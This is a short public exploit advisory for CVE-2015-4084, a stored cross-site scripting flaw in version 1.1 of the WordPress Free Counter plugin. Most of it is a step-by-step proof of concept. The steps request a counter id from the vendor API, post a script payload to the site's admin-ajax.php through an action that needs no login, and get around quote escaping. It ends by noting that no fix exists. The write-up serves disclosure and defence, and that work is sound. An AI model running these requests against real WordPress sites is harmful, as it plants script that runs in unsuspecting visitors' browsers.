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CVE-2015-4084 - WordPress Free Counter Plugin [Stored XSS]

# Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084

1. Description

Any authenticated or non-authenticated user can perform a stored XSS attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that contains this widget will also load the malicious JS code.

2. Proof of Concept

* Send a post request to `http://www.free-counter.org/Api.php` in order to reveal the counter id of the vulnerable site. The POST data must contain the following vars: `action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we need to know is the 'counter_id'.
* Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: `action=check_stat&id_counter=<counter_id from step 2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.

Note that the plugin uses the update_option function to store the $_POST['value_'] contents to DB so any code inserted there will be escaped. Even though a malicious user can omit the quotes in the src attr of the script tag. Most modern browsers will treat the tag as they were there.

3. Solution

No official solution yet exists.